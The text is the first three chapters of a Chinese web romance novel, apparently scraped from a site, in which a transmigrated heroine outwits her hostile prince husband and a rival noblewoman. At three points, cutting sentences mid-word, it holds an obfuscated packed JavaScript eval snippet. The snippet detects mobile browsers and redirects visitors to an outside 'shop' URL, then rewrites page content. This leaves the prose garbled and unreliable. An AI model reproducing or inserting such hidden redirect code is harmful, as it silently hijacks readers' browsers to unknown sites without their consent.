《阴鸷王爷的戏精小娇妻》 1. 第1章 满屋跪倒一片,人人噤若寒蝉。 原本红烛摇曳、兰麝添香的婚房,此刻连一丝暖意都无,只剩让人窒息的恐惧。 夏若初猛地抬头,冷汗沁出。 方才那支黑羽箭擦着她的发梢飞掠而过,箭簇仍深深嵌在雕花床柱上。 那箭稍偏一分,她此刻便是个死人! 被眼前这个男人,今夜本该与她共入洞房的夫君,射杀在大婚之日。 男人面无表情,将弓扔给身后随从,冷硬的大掌捏起她的下巴:“想做我的王妃?” 夏若初脑子“嗡”的一声。 依稀记得,她还没看清那辆闯红灯的轿车,整个人就被撞飞出去。 待她醒来,就穿到了这具同名同姓的身体里。 望着那双冷漠如寒潭的眼睛,记忆潮水般涌入。 天崩开局。 她一个坚定的不婚主义,转眼变成了已婚妇人。 还嫁给了一个恨她入骨的丈夫,令人闻风丧胆的肃王萧承翊。 堂堂侯府嫡女,又是圣上赐婚,若换成其他权贵,纵是心有不愿也要做全礼数。 萧承翊却如此桀骜难驯,堂都不拜就扔下新妇,跑去西郊围场狩猎,分明故意让她难堪。 眼看吉时已过,原身气急攻心,栽倒在喜堂晕死过去。 “谁准你欺压下人?”萧承翊冷声打断她思绪,“来人!将她禁足,不得出内院一步。” 禁足! 新郎未拜堂,她的王妃之位只是个虚名,若再被禁足,岂不是和囚犯无异? 夏若初不及思索,人已扑过去拽住男人的衣袖:“王爷不可无端处罚,对我这般粗鲁。” “粗鲁?”萧承翊眸中寒芒一闪。 满院下人神情骇然,看她的目光像看一个疯子。 下一刻,冰冷的剑鞘抵住她的下颌。 “你怕是没见过我更粗鲁的模样。” 四目相对,夏若初呼吸一滞。 男人立于月色下,一身玄色劲装,外罩黑金绣纹的披氅,不怒自威。 额角有一道淡淡的旧疤,隐入鬓间,让深刻的五官更显硬气。 这人真的生得俊朗,难怪京中贵女都对他心生爱慕。可浑身的狂傲与冷峻,又实在令人胆寒。 那些骇人的传闻闯入她脑海中。 肃王萧承翊执掌禁军,当今圣上的左膀右臂,文武百官无不惧他三分。 说他不近美色,暴戾乖张,降敌进献十二名绝色美姬,他命人拖去城外活埋。 说他心狠手辣,副将误判军情,他直接杖打至残,扔去边境喂狼。 还说他睚眦必报,曾有个小吏冲撞萧家老仆,被他抄家灭族…… 方才,一个小丫鬟失手将水泼她一身,吓得跪地磕头不止,她伸手要扶。 这冷面阎罗远远看见,竟不问青红皂白,想要一箭射杀新婚妻子。 嫁给一个如此阴鸷的男人,她怕是命不久矣。 然而,她又无路可退。 夏若初十岁那年,母亲沈婉为太后挡了一刀,侯府上下皆受恩赏,父亲因此晋了爵位。 伤口留下陈疾,母亲每年冬季都要回南边娘家静养数月,夏若初深得外祖疼爱,便常一同回去。 然而两年前,母女俩如常返回侯府,发现家中多了姨娘柳氏和一对子女。 原来父亲不顾发妻反对,多年在外金屋藏娇,柳氏的儿女,都比夏若初年长。 夏兰萱住她的院子,用她的月例与丫鬟,人人都夸这个庶女心思纯善。 连自幼对她极好的青梅竹马也背弃婚约,为讨好夏兰宣,竟将她推入湖中险些溺死。 母亲悲愤交加,就此一病不起。夏若初事事据理力争,却被所有人嘲笑她小气善妒。 一日夜间,厢房走水,侯府上下都指认夏若初纵火伤人。 她成为人人讥讽的恶女,被罚往栖云观守香火,受尽鞭打和饥寒。 柳氏命人严加看管,封锁消息。他们霸占母亲的嫁妆吃香喝辣,又勾结权贵侵吞沈家商户。 直到亲哥哥在军营中毒身亡,母亲投水自尽,沈老太爷才得知实情。 沈家只是一介没落皇商,无力对抗侯府。 为保外孙女平安,沈老太爷抱病求见萧老夫人,以当年对萧家的恩情,为夏若初求得肃王妃之位。 她得以离开深山,却与疼爱她的亲人天人永隔。 此生再无依靠,宠辱沉浮,唯有自渡。 她是沈家的希望,那群人不会放过她。 如果说这京城之中,有谁能令他们忌惮—— 眼下,就唯有肃王萧承翊了。 她不愿与他圆房。 但又必须让他怜惜她、保护她。 有点难。 原身宁折不弯,未必做得到。但,她不一样。 有什么比保命更加重要? 纤白的葱指握住剑鞘,缓缓推开。 再抬眸时,夏若初一双黑瞳蓄满泪水,泪珠欲坠不坠,“妾……一心为王爷着想。” 萧承翊微微偏头,看不出情绪。 她语气无限委屈:“王爷选拜堂吉日狩猎,圣上心中必有芥蒂。若是再苛待正妃,难保圣上不会猜忌,认为王爷借题发挥。” “你放肆。”萧承翊危险地一眯眼,却没有发作。 可见说中他心思。 “王爷不喜这桩婚事,妾也不敢有非分之想。”夏若初柔声说,“妾身知道王爷要什么。” “本王要什么?”男人似被勾起兴趣。 “妾愿配合王爷,应对萧老夫人和圣上。” 她踮起脚尖,嘴唇凑到男人耳边。 那黑沉的眼眸投过来,夏若初樱唇轻启:“有夫妻之名,无夫妻之实。” 耳畔吹气如兰,声音甜腻软糯,纵使铁石心肠也要融化。 萧承翊眉峰微挑,不由凝视眼前人。 才发觉她身上的红纱寝衣被水浸透,纤细却饱满的线条若隐若现。发髻松挽,露一片莹白肌肤,像无暇的羊脂玉沾了晨露。 他向来不屑风花雪月,却偏生记得,那些王孙子弟戏吟的一句诗——夏月笼纱裁玉骨,皎皎若初雪凝脂。 夸的便是永宁侯府夏四娘子清雅如月下仙子,秀色盖古今,美貌世无双。 余光忽然瞥见,身后亲卫全都眼神躲闪,却掩不住惊艳。 那张俊脸蒙上一层阴霾。 “全都退下!”萧承翊低喝,“自领军棍二十。” 夏若初正纳闷,一件披风劈头盖脸地罩在她身上,力道之大让她踉跄着跌进男人怀里。 他俯身,声线低哑,“谁跟你说,我不要夫妻之实?” 湿衣贴在身上本就难受,他胸膛的灼热传至肌肤,熨得她脸颊发烫,心跳飞快。 “王爷说笑了。”夏若初慌神道,“王爷深谋远虑,妾身知道,王爷娶我必有一番打算。” 男人嘴角勾起一抹轻蔑,夏若初心中一沉。 要想打动萧承翊,绝不是件简单的事。 她外祖沈家和萧家虽有渊源,这么多年都不敢与肃王府有关联,只因肃王最忌讳别人试图攀附。 除非,她对他有用。 夏若初语速极快,“王爷想查军药造假案的真相,可朝中有人作梗,商户们又抱团守利,始终找不到突破口。” “我外祖家是三代皇商,上到达官贵人的府邸,下至市井小巷的药铺,都有我们的人。” “如果妾身为王爷谋划,定可助王爷一臂之力。” 这话并非随口乱说,原身深得外祖父喜爱,平日耳濡目染,自然知道不少贡品采买和军需供应的事。 “本王凭什么信你?”萧承翊不以为然,“若不是我娶你,你此刻还在深山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999245|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吃糠咽菜。” “那是以前,小娘掌家。”夏若初掩不住低落。 男人含讥带讽,“本王不缺手无缚鸡之力的谋士。” “可王爷缺我。”她脱口而出,“一个可掩人耳目的王妃。” 许久,萧承翊一言不发,目光只在她面容上逡巡。 满院寂静。 庭院里的下人仍跪着,呼吸都不敢大声。 终于,那冰冷的声音响起:“禁足暂且免了。” “王爷,可否……”夏若初语气轻软,“赐妾身一件贴身信物?” 她现在这尴尬的地位,唬唬平头百姓还行,对趋炎附势的权贵人家是没有用的。 有了肃王的信物,就算没有拜堂,就算没有感情,也没人敢动她分毫。她才有底气对抗侯府,保护自己。 但这也意味着,萧承翊承认她这个妻子。 空气又冷肃了几分。 “夏氏,你真当本王不敢杀你?” 没等她反应过来,一只骨节分明的大手已握住她的下颚,力道大得令人生疼。 “萧家念你外祖的恩情,我却不会忘记我母亲因你而死。” “别妄想使诡计近我身,像你这般质素的女子,我碰都不会碰。” “明面上你是肃王妃,实际为本王之奴,本王要你生便生,要你死便死,轮不到你提条件。” 那冷沉的声音并无情绪,然而夏若初却从那双黑眸中,感受到刺骨的凉薄。 她没再说什么,福身行礼:“妾自会搬入偏院,不扰王爷清净。” 那高大的背影拂袖而去,隐入夜色中,夏若初眼中略过凉意。 自始至终,萧承翊只免了她禁足,其他条件一概未回应。 他没有对她有半分的怜惜。 想得到他的庇护比想象中要难得多啊。 众人散去,陪嫁丫鬟碧菡关上房门,哭出声来。 “姑娘你可吓死奴婢了!先前你晕过去两个时辰,身体可好些?若早知肃王这样可怕,当初不如不要这桩婚事。” 好像嫌她不够烦恼,门外丫鬟婆子窃窃私语又飘进来。 “王妃真比那画上的美人还好看千倍,可美有何用?王爷都不肯圆房。” “听说这夏四娘子年方十六,却无半分少女温婉,打骂下人、逼死奴仆是常有的事。王爷又是气性正旺的年纪,哪能容得下这刁蛮的主儿,怕是有她哭的时候。” 碧菡忍不住开门呵斥,门外的仆从赶紧要退下。 “都别走。” 隔着屏风,夏若初声量不高,却字字清晰。 “我知道有人看主子一时不顺遂,便存了轻慢的心思,想是嫌命太长了。” “我不是那软柿子,受不得气,便是自己落难也得拉几个垫背的,绝不让旁人舒坦。” 她故意顿一顿,优雅地抿口茶。 “我与王爷夫妻间的事,再有人敢嚼舌根,说的人和听的人,一律打死。” 一番话和颜悦色,却听得下人们脊背发凉,跪倒在地:“奴婢不敢!” “凡是忠心做事的人,我也绝不苛待。”她话锋一转,“碧菡,取些银钱赏下去,算给大家的添头。” 众人面露喜色,更加信服:“谢王妃恩典!” 夏若初微笑颔首。 穿越之前,她是餐饮集团的继承人,自己创立的中式药膳品牌入选“亚洲五十佳餐厅”,旗下百来号员工,什么样的刺头没摆平过。 恶女有何不好? 原身被强加恶女之名百口莫辩。 但她,是真恶女。 世道险恶,她要护己周全,就不能任由随便什么人骑在头上。 至于那位气性正旺的王爷—— 自然是万事顺着他,先在这王府好好地活下去。 “碧菡,收拾东西,我们今夜就搬入偏院。” 2. 第2章 朱漆马车驶离街市,行人渐渐稀少。道旁修竹不时掠过车窗,绿影摇曳。 毫无预兆地,车轮猛地顿住。 “何人挡道?肃王妃车驾,速速让开!”车外亲卫喝斥。 夏若初沉浸书卷中,未理会外边动静。 婚后第二日,新妇一人去拜见萧太君。萧承翊的祖母,也是皇上的亲姨母,住在临安城郊御赐的府邸。 新郎自是不会陪同。下人说肃王有要务走得仓促,天不亮已出城。 本就料定他不会来,夏若初反倒乐得自在。 王府亲卫个个腰带佩刀,一行人自带威严,按说,路人及车马无不主动避让。 然而,片刻过去,前路仍堵着。 亲卫在帘外报:“王妃,有人不肯让路,是长乐县主。” 夏若初抬起头。 这么快就沉不住气了? 有人算准她落单,急不可耐找麻烦来了。 她掀开半寸车帘,只见对面马车上落下双绣珠鞋尖,一道鹅黄身影飘下来,珍珠步摇轻晃,格外贵气。 “车上人下来。”女子盛气凌人,“京中谁人不知,肃王殿下不曾拜堂,区区三品侯爵之女,还不下车给本县主请安?” 夏若初忆起这张脸了。难怪亲卫不敢擅动。 赵姝,荣国公嫡女。 荣国公是开国元勋之后,皇室素来礼遇有加。赵姝自是千娇万宠,纵得目中无人。 沈家的没落,与荣国公府脱不了干系。 当时沈家为宫内采买的名贵药材被内务府定为劣品,不仅全数罚没,连带着所有商号被抄没充公。 后来这些药材和商号尽数落入荣国公府囊中,其后又有部分辗转成为柳氏的私产。 夏若初太过耿直,在家宴上直斥柳氏与国公府勾结,却被家法打得皮开肉绽。 自那以后,她便成了荣国公府的眼中钉。 更加上,此女痴恋萧承翊。 柳氏曾不经意提起,赵姝为讨好萧太君,日日晨昏定省,三年如一日。荣国公府为谋肃王妃之位上下打点,连夏府都被迫出了不少银钱。 从前夏若初未曾在意。如今想来,自己竟是阴差阳错,夺了这位国公府千金的心头爱。 车外,赵姝半天不见人回应,耐心尽失。 “你是在山里待久了,忘了礼义廉耻?还是风吹日晒面容丑陋,不敢让人瞧见?” 话音未落,车帘掀开。 夏若初扶着碧菡的手,聘聘袅袅走下车来。她微笑站定,正好沐在秋日和煦的阳光下。 雪肤细腻,连肌底的粉晕都看得清,唇色嫩红得像刚绽的桃花瓣。 既有王妃的矜贵气度,清浅妆容又显得清透雅致。 “看够了吗?”夏若初不愠不怒,“按礼制我与亲王同等,你拦我车驾,出言不逊,县主真是好教养,不愧为荣国公之后。” 反正都要得罪,索性父女俩一并骂了。 赵姝面色阴冷,“还是这么牙尖嘴利,也难怪,肃王殿下就不喜你这样冰冷无趣的。” “县主倒是热情有趣,你肃王殿下可答应过娶你?”夏若初轻笑一声,“那姐姐劝你好生学习礼数,妾室不好当啊。” “夏若初!你竟敢羞辱我,羞辱国公府?” “嗯,我敢。”夏若初认真点头,“不羞辱你我为何下车?” 赵姝怔住,似乎有什么地方不对? 从前的夏若初,处处维持侯府嫡女的端庄体面,就算给她泼脏水,扣上恶女的污名,她也只会笨拙地据理力争,愚蠢又可笑。 定是以为进了肃王府就可以嚣张,最可恨就是这张皮相,她非要看她痛不欲生才解恨。 “你这张嘴更硬了。”赵姝眼底嫉恨翻涌,“看来,那些鞭子没教会你学乖,你娘的死也没让你学会害怕。” 此话一出,夏若初双眸蒙上阴翳。 这具身体的记忆猛然袭来,指尖用力陷进手心。 在栖云观有多少个夜晚,鞭子狠狠抽在她身上,让她白日步履蹒跚,形同废人。 旧伤未愈,又添新伤,痛楚与无边的孤寂交织,若不是好心的道姑护她,她早就命丧山中。 就在她恍神的刹那,赵姝忽然夺过车夫手中的马鞭,朝她迎面抽来! 王府的人惊呼出声。 没等亲卫出手,夏若初侧身避过,反手扣住赵姝手腕一拧。痛呼声中,马鞭已落入她手里。 她轻嗤:“我父亲是武将,我长兄十二岁上沙场,你跟我玩马鞭?” 赵姝惊讶地瞪大双眼:“大胆!你……” 话音未落,一鞭子凌厉地抽在她肩头,衣料破裂,渗出一道清晰的血痕。 “夏若初,你竟敢伤我?”赵姝捂着渗血的肩,眼泪涌出,“我要告诉肃王殿下,他不会放过你!” “去告。” 自始至终,夏若初声线平稳,明眸沉静。 “总有一天,荣国公府吃掉沈家的,我要你们一分一厘,全都吐出来。” 赵姝死死瞪着她,忽然,目光掠过她肩头,绽放出惊喜和得意的笑容。 夏若初背脊一凉。 不对劲—— 马蹄声! 由远及近,闷雷般裹挟着风声呼啸而至。 转瞬间,一道玄色身影已疾驰至身旁,烈马扬蹄嘶声,她头顶的日光骤然一暗。 二十余骑玄甲禁军将官道包围,佩刀寒光凌厉,在场众人齐刷刷跪伏在地。 “参见肃王殿下!” “叩见王爷千岁!” 鞭子仍攥在手中,夏若初僵立在中央。 马匹粗重的鼻息近在咫尺。 她微微偏头,瞥见金线暗纹的墨色袍角,那只握缰绳的手,手背青筋虬结,骨节狰狞—— 这只手,轻而易举就能拧断她的脖颈。 “殿下!”赵姝哭着跪在马下,“你要为臣女做主啊!” “臣女从老夫人处问安归来,路遇王妃车驾,本欲上前请安,不知哪句话惹恼了王妃,她竟……竟当众鞭打臣女!” 赵姝掩面哭泣,狠狠剜她一眼。 “王妃此举,岂非将荣国公府颜面践踏在地?往日听闻王妃性子暴烈,臣女只当讹传,没想到呜呜……” 夏若初环视四周,赵姝颠倒黑白,可无一人敢出声辩驳。 她缓缓垂下头。 颈后一截凝脂般细白的肌肤,显得脆弱易折。 “夏氏,你动手打人?” 男人低哑声音如冷山,从头顶压下来。 她不回头,也不说话,单薄的肩背微颤。 “夏氏,抬头。”萧承翊淡漠道,“看着本王。” 慢慢地,夏若初转过身来,仰起惊世绝艳的脸庞。 蓄了满眶的泪水在对上萧承翊的刹那,夺眶而出,晶莹的泪珠大颗大颗地滚落。 “王爷,妾打人了,妾身……好怕。” 风轻起。 女子浅绿色纱裙随风飞扬,宛若竹林中幻化的仙子,纤尘不染。 她靠近他腿边,低低啜泣,哭声很轻很小。好似无限依赖,却又不敢惊动他。 风吹动她的青丝,带着清浅的茉莉香,向男人拢过去。 骏马不安地踏动前蹄。 萧承翊松开勒得过紧的缰绳,移开目光,“你为何打人?” “妾错了。”夏若初无措地擦拭泪水,“县主是好意,特来提醒我不该以王妃自居,当依礼制向她行礼。” “妾以为,赐婚神圣,岂容质疑。老夫人是圣上亲封荣安太夫人,既择了妾身在跟前伺候,若有人妄加议论,岂不是说老夫人不智?” 她垂眸看向身侧,赵姝看她的眼神像见了鬼。 夏若初压下唇角的冷笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999246|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的,他们曾经就是这样欺负她的。 她与母亲行事磊落,不懂虚以委蛇,他们就三人成虎,将母女俩一步步推入地狱。 思及此,她眼角猩红,一双浸在水中的黑瞳看着萧承翊。 “妾不愿因为自己软弱,损了王爷威名。是以县主执鞭要替王爷管教我,妾身只得还击。” “妾也不知是怎么了,许是……昨夜没睡好……” 一串泪珠坠下,悬在腮边,将落未落。 “贱人!你血口喷人!”最后一句引人遐思的话彻底击垮了赵姝,她猛地跳起身。 “殿下亲眼所见,受伤的是我!夏若初毫发无伤,鞭子还在她手里,她这般强词夺理,应当受罚!” 萧承翊沉默不语,目光不带半分温度。 这目光让夏若初本就微薄的期望逐渐消散,她心中泛起细密的疼痛。 她没有错。 若有机会,她恨不得抽下一百鞭,一千鞭,将往日屈辱百倍奉还。 可萧承翊,怎会站在她这边? 他怎会知道,她如何挨过那些恐惧的漫漫长夜。 他怎会懂得,当她得知母亲死讯,却被囚禁山中不得见最后一面时,那撕心裂肺的痛楚。 她只是他被迫接受的新娘,是他迎娶心仪女子的绊脚石,他厌弃她都来不及。 事已至此,唯有孤注一掷。 她声音细小:“妾,愿凭王爷处置。” “王妃,是该受罚。”萧承翊从马背上俯身,高大的身影将她彻底笼罩。 他取走了她手上的马鞭。 心骤然沉入冰窟,她仰头,望进那双深不见底的黑眸。 不!他若一鞭下来,这屈辱她绝不忍受。 赵姝得意洋洋地添火,“殿下英明。夏若初合该被好好教训,她在侯府时就嚣张跋扈,是京城出了名的恶女……” 嗖—— 鞭影破空。 夏若初倏地闭眼,犀利的鞭风掠过耳边。 一声凄厉的痛呼。 她茫然睁眼,只见赵姝捂着血肉模糊的肩头瘫倒在地,连哭喊都失了声。 萧承翊狠狠将马鞭掷在赵姝面前,“你找死。” “你爹见了我王府仪仗尚需避让,你算什么东西,敢拦肃王妃车驾?你有几个脑袋,敢直呼肃王妃名讳?” “传令下去,长乐县主不得踏足老夫人府邸半步,否则,本王拿整个荣国公府治罪。” 他厉声吩咐,“清道。” “是!”玄甲军山呼海啸。 夏若初怔怔地,片刻才反应过来。 她仰头望他,水眸温存,“谢王爷。” 年轻郡王背脊挺拔如松,高踞马背,带着不容置疑的威压看着她。 “我的王妃,罚与不罚,我一人说了算。” 秋阳为他镀上一层耀目光晕,那道目光像碾过夏若初的心口,让她呼吸一滞。 登上车辇前,夏若初对着赵姝苍白的脸,扔下一抹挑衅的笑。 不就是演一朵大白莲吗?谁还不会呢。 前方禁军开道,后半程一路无事。 “姑娘,王爷方才护着您呢!那赵姝的神情就像被人捅了千刀万刀,太痛快了!”碧菡开心地拍手。 夏若初露出一丝苦笑,心中不免后怕。 今日她确实冲动了。本想着事后再准备一番说辞,没想到萧承翊忽然从天而降。 幸好她赌赢了。 骄矜之人必然护短。他的人任他怎么处置都行,外人若敢多嘴,那便是找死。 往后她的麻烦会更多,国公府不会善罢甘休,柳氏也会对她更加戒备。 可经此一事,夏若初确信,任何信物都不如肃王本人有威慑力。 只要萧承翊站在她这一边,她就能为自己和母亲讨回公道。 她不想要他的人,但要他的心。 3. 第3章 荣安太夫人府。 正堂开阔轩敞,两侧侍女敛手侍立。 敬茶之后,夏若初示意碧菡端出剔红食盒,“老夫人,这是臣女亲手做的,您尝尝。” 萧太君慈眉善目:“初儿乖,该唤祖母了。” 夏若初瞧一眼侧座换了身墨绿色常服的男人。 仿佛事不关己,萧承翊眉眼低垂,手上捻着黑玉棋子,有一下没一下敲着棋枰。 “是,祖母。”她应。 世上哪有轻易攀附的高门,从赐婚那刻起,她就注定要听从这位萧老夫人的安排。 无人知道,她离开栖云观时,萧老夫人亲自接她下山,与她推心置腹。 老夫人一手抚养萧承翊长大,对孙媳妇自是诸多挑剔。 “我萧家儿郎世代征战沙场,娇生惯养的贵女,我瞧不上,武将之女又不够温婉。” “翊儿掌禁军,若新娘家世太过显赫,只怕圣上多心。” 主动想与肃王联姻的人家个个算盘精明,老太君都要周旋,烦不胜烦。 她更忧心的是,自古美色是争权夺利的工具,孙子身居高位,却对此毫无防备。 “听说翊儿与一舞姬交往甚密,只怕是红颜祸水,可我若过问太多,恐伤祖孙感情。” 夏若初明白,老夫人想让她镇家宅,解决各路莺莺燕燕。 永宁侯府地位不高,圣上不会忌惮。夏家不喜性情直爽的四娘子,老夫人却觉得颇有她年轻时风范。 夏若初跟随长兄长大,能骑善射,身体好,好生养。 又得外祖疼爱,不仅跟着学了医术,商事经营都懂些门道,将来掌管王府中馈自然稳妥。 她的容貌也让萧老夫人十分满意。 “初儿生得真美!日后我的重孙必定可爱极了,最好三年抱两,我做梦都要笑醒。” 是以故人上门求情,老夫人连夜就递帖进宫求旨,根本不问萧承翊的意见。 “好孩子,翊儿自小无父无母,性子是孤僻些。” 祖母果然溺爱孙儿,萧承翊凶残暴戾的传闻,老人家只当听不见。 “老夫人,王爷恨我。”她那时说。 萧老夫人摆手:“他母亲的死不是你的错,你那时也只是个孩子,那是意外。” 又说:“你莫怕,他若欺负你,我必教训他。” 荣安太夫人尊贵无比,一言九鼎,夏若初放下心来。 如今看来,老夫人是低估了萧承翊的一身反骨,和招蜂引蝶的本事。 这婚结得,虎狼环伺。 沉思间,食盒已揭开,萧老夫人讶异,“这是,螃蟹酿枨!” 众人都忍不住望过去,只见青瓷葵口盏中,盛着一枚金橙,橙顶削作花形,内里膏腴饱满。 “祖母尝尝,与以往吃过的不同呢。”夏若初浅笑。 蟹酿橙,本就是一道仿古菜,时下只有宫廷宴饮才能得见,萧老夫人自是一望便知其中用心。 何况,她对古法做了改良。 她用了两只公蟹,一只母蟹,才做了这一盏。全选公蟹色泽不佳,全选母蟹难免口感稍硬。 “孙媳用三年陈的花雕、嫩姜汁与紫苏叶细细煨过,紫苏解表散寒,姜汁温中和胃,化解蟹肉的寒凉。再饮一杯姜枣茶,正合祖母脾胃。” 老夫人很爱吃,连用了数匙,眉眼舒展开来。 “好吃!你这孩子真有心。我先来爱吃蟹,只是胃寒受不住不敢多吃,今日可算是尽兴。” 空气中浮动着橙的清香与蟹的鲜甜,丫鬟婆子们都忍不住偷咽口水。 熟悉的成就感涌上心头,夏若初鼻尖微微发酸。 来这个世界以前,她可是摘过“黑珍珠”桂冠的主厨,祖传的两道药膳还入选了非遗名录。 身为药膳制作师,她从不墨守陈规,古今中外的烹饪法都爱钻研,食客的赞赏便是她毕生所向。 她从未想过结婚,对事业的喜爱胜过男女之情,如果让她当一只金丝雀,和死了有什么区别? “对了。”萧太君温声打断她思绪,“可给翊儿另备了一份?翊儿有旧伤,正适合细腻的食物,他又最喜清甜口感。” “并无。”夏若初想都不想。 蟹酿橙工序繁复,多做一份耗时翻倍,她不知道萧承翊会跟来,自然没有准备。再说那人也未必肯吃她做的东西。 身侧传来清脆落子声,比先前重了三分。 一枚黑玉棋子从棋枰跃出,滴溜溜直滚至她脚边。丫鬟们忙要去捡。 “不许捡。”萧承翊声音淡冷,立时无一人敢动弹。 男人的目光幽幽落在她身上,“王妃来。” 夏若初微怔,只当他不喜下人碰他东西,拾起棋子放回棋罐中,看到那张绷紧的侧颜。 王爷好像在生气? 那就让他安静地生会儿气吧。 她懒得细究,反正这是太夫人府,他又不敢拿她怎么样。 趁老夫人心情颇佳,夏若初斟酌着开口:“祖母,孙媳想经营间药膳馆子,给祖母多做补益身体的点心,可好?” 萧太君微微蹙眉:“这是为何?王府的厨房足够你使唤。” “外祖家在临安只剩一间药馆,生意清淡。”她小心解释,“孙媳想将药膳引入经营,或许能盘活祖业。” 她嫁入肃王府的嫁妆由沈老太爷筹备,其中便包括了这间“养颐堂”,也是沈家在临安仅存的产业。 那药馆地处偏僻,门面窄小,柳氏看不上,她却可以借助这个支点,扭转乾坤。 “我知你心思。”萧太君轻叹,“你外祖家三代皇商,又通晓医术,鼎盛时期何等风光。可惜没有得力男丁支撑门庭。” 夏若初垂眸不语,心中不服。门庭之兴也不是非靠男丁。 “可你如今贵为王妃,怎可抛头露面去做那等辛苦营生?有掌柜照看便是。”老夫人委婉道,“何况,很快有了子嗣,你更是脱不开身了。” 话题转得措手不及,夏若初脸颊微热。 她下意识朝身侧瞥去,恰撞上萧承翊那双鹰隼般的眸子,他不躲不避,戏谑地看着她。 她慌忙垂首敛目,乖巧应道:“祖母说的是。” 老夫人不喜她涉足药馆生意,她自然不会傻到去惹恼自己的依仗。 要想让固执的老人松口,除非,那位冷口冷面的新婚夫君肯为她说话。 此事比让赵姝挨鞭子难多了,她得好好想想。 心中思绪万千,夏若初无意识地端起一盏阿胶桂圆茶,萧老夫人忽然问:“听闻阿胶活血,女子月事时不宜饮用,可有此事?” 她不明其意,想了想,“确有此事。” 看她不停饮茶,老夫人笑了,叫来管事嬷嬷:“吩咐下去,王爷王妃今夜留宿,将松风院布置成婚房。” “咳咳咳——”夏若初被茶水呛住。 助攻来得太过汹涌。 她确实想借老夫人的疼爱,拉近和萧承翊的关系,可不是用这样的方式。 萧承翊蹙眉:“祖母……” 啪!老夫人拍案而起。 “你还敢多言?我想留孙儿孙媳陪我几日,要求很过分?你事事忤逆,莫非要气死我?” “你若不是我养大的,我也不用操这份闲心。我老太婆如今让你心烦了,你大可等我闭眼,再为所欲为!” 萧承翊拧着眉头,不发一言。 这难道是默许的意思?夏若初见他这副神情,心中更慌。 “祖母您别气坏身子,王爷公务繁忙耽搁不得,不如孙媳一人留下陪您多住几日。” 话头递到了,她等着萧承翊顺水推舟。 “我不忙。”他说。 夏若初愣住,她是不是听错了。 她满脸疑惑地望向萧承翊,男人气定神闲,“祖母为何生气?孙儿从未说不愿留宿。” 他眼风扫来,“王妃说住几日,便住几日。” 夏若初:…… 这是将烫手山芋抛给了她。让她来得罪老夫人。 可她也不是好拿捏的。 她柔声说:“妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999247|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢,妾身凭王爷做主。” 萧承翊嘴角一勾:“王妃如此贤德,本王又岂会不解风情。” 啪!老夫人的龙杖重重点地,“你俩给我闭嘴!” “打量我不在肃王府,便对你们荒唐之事一无所知?我的苦心安排,圣上的英明旨意,岂容你们儿戏?” 两人齐齐闭紧嘴巴,陷入沉静。 荣安太夫人不是一般的老太太,向来说一不二,此事既已开口,便再没有转圜的余地。 “来人!”萧太君声如洪钟。 “伺候王爷王妃沐浴,红烛喜帐、合卺酒器一概备齐,今夜便补上这洞房花烛!” - 夜深。 松风院内,红烛帐暖。 镜中人是美,红纱寝衣单薄轻盈,白皙的肌肤若隐若现,一种勾魂摄魄的明艳。 可心境却无半分旖旎,夏若初坐在拔步床边,好怕从哪个方向飞来一支箭,这次会将她彻底射穿。 不知萧承翊是否信守承诺,他们约定过,有夫妻之名,无夫妻之实。 可他好似并未点头。 门被轻轻叩响。 进来的是老夫人身边的安嬷嬷。她遣散众侍女,温声道:“老奴奉太夫人之命,日后便在王妃身边伺候。” 这分明是监视他们来了。 安嬷嬷笑容和善,为她的肌肤抹上香膏,“老奴特来嘱咐王妃。” “王爷自幼习武,筋骨强健,又经沙场历练,难免粗粝刚硬。王妃这般娇小,行周公之礼时,切记要娇软顺承之,男子心生怜爱便会温柔,以免吃苦。” 足足慢了半拍,夏若初才会过意来,霎时耳根都烫了。 她欲哭无泪,这位老嬷嬷究竟是来安抚她,还是来吓唬她? 屋内只剩她一人。 吱呀—— 门轴转动声在寂静中格外清晰。 萧承翊推门而入,月色将他的身影投下一道清隽的轮廓。 他仅着一身白色中衣,散发着淡淡皂角清气。 目光在她身上停留一瞬,快速移开。 他不发一言行至圆桌旁,执起青玉壶斟了盏茶,从多宝阁取了本书,背对着她径自翻看起来。 仿佛她只是一件无关紧要的摆设。 夏若初不敢动弹,依旧维持僵直的坐姿,怯生生望住那道背影。 男人肩背宽阔,隔着衣裳也能感受到劲力,手臂肌肉流畅紧实,再对比自己,腿还没有他胳膊粗。 他们之间的体格差距太大了。 安嬷嬷的话如在耳畔挥之不去,她紧张地攥住裙角。 烛芯时而噼啪作响,迸出星点火花。 半柱红烛燃尽,男人却连眼睫都未曾抬起。他应该,不会碰她。 